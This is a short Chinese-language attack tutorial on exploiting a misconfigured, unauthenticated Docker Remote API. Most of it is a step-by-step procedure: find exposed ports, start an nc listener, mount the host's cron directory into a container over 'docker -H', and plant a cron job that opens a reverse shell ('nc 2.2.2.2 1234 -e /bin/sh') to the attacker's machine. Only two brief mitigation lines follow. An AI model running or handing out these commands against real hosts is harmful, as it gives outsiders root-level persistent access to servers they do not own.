Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的LINUX机器上,也可以实现虚拟化。
Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,并且可以执行Docker命令。
实战
1.使用nmao或者fofa来发现端口或者服务。
2.web方法查看是否存在漏洞,直接在浏览器中输入1.1.1.1:6066/version访问即可,web方法比较局限大部分只能获取敏感信息。
3.使用docker客户端连接执行命令反弹shell
#攻击机上开启nc监听反弹shell
nc -vv -l -p 1234
# 查看宿主机可用镜像
docker -H tcp://1.1.1.1:6066 image
# 选择合适镜像创建容器,并将宿主磁盘挂载到容器中(注意标红参数是镜像id)
docker -H tcp://1.1.1.1:6066 run -it -v /var/spool/cron/:/var/spool/cron/ image_id /bin/bash
# 查看运行容器信息
docker -H tcp://1.1.1.1:6066 ps
# 启动刚刚创建的容器并连接(注意标红参数是容器id)
docker -H tcp://1.1.1.1:6066 start ct_id
docker -H tcp://1.1.1.1:6066 exec -it --user root ct_id /bin/bash
# 执行shell反弹命令(2.2.2.2是nc反弹ip,定时任务路径也要根据系统来)
root@0d99a9b2e66b:/#sh -c "echo '* * * * * /usr/bin/nc 2.2.2.2 1234 -e /bin/sh'">> /var/spool/cron/root
4.修复方法:
配置白名单不要将端口开放到外网
配置鉴权开启tls